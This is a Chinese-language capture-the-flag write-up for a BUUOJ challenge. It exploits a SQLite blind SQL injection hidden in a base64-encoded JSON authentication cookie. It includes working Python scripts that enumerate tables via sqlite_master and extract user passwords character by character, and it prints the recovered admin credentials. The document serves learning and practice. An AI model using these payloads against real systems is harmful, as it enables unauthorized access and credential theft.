前言
感觉像是sql注入
题解
似乎有检测,先fuzz一下。
被屏蔽的有点多,看样子并非是黑名单,而是白名单模式。
先扫个目录看看有没有源码泄漏。
试了半天不行,看了下wp才知道原来注入点不在这,先爆破用户密码为guest,整了半天赛道都没找到。
给了提示,需要admin
看看cookie,是个base64,解个码
再替换成admin加密。
报invalid。
原来sql注入点在这。而且还是sqlite。
sqlite注入要点
这个sqlite_master就类似于mysql的information_schema
CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);
写exp的时候,要注意先是要符合一开始的json格式,然后把里面的值作为字符串拼接到sql语句里,所以是这样的,需要用\
转义
{"username":"\" or 1=1 or \"","password":"guest"}
import requests
import base64
import string
import time
url = "http://370d0ebd-78f4-4fc1-aa6c-943b03ea68ac.node4.buuoj.cn:81/sequels"
flag = ''
while True:
for i in string.printable:
time.sleep(0.1)
tmp = flag + i
if i in '%_':
continue
if tmp[0] == 'n':
continue
elif tmp[0] == 'r':
continue
elif tmp[0] == 's':
continue
u = r'\" or EXISTS(SELECT name from sqlite_master where name like \"{}\" limit 1) or \"'.format(
tmp + '%')
payload = '{"username":"%s","password":"guest"}' % u
# print(payload)
cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
res = requests.get(url, cookies=cookies)
if "Movie" in res.text:
flag = tmp
print(flag)
break
库
notes reviews reviews sqlite userinfo
试了下用limit 1 offset 3
似乎不太行,可能是因为偶尔返回的顺序不一致。
结果还是得从开头入手,如果有前几个字母同名的表那就难办了。
sqlite里没有if/chr/asc,不过也可以这样来配合二分法判断加速判断。
import requests
import base64
import string
import time
url = "http://0eaa6072-56ef-4b36-9ba7-a0e1d673c493.node4.buuoj.cn:81/sequels"
flag = ''
for x in range(1, 10):
print(x)
for n in range(1, 40):
for i in string.printable:
time.sleep(0.1)
tmp = flag + i
u = r'\" or (substr((select password from userinfo limit {},1),{},1)=\"{}\") or \"'.format(
x, n, i)
payload = '{"username":"%s","password":"guest"}' % u
# print(payload)
cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
res = requests.get(url, cookies=cookies)
if "Movie" in res.text:
flag = tmp
print(flag)
break
1号是guest,2号就是这个了,还好不多,不然要跑死。
username:sequeladmin
password:f5ec3af19f0d3679e7d5a148f4ac323d
登录,结束。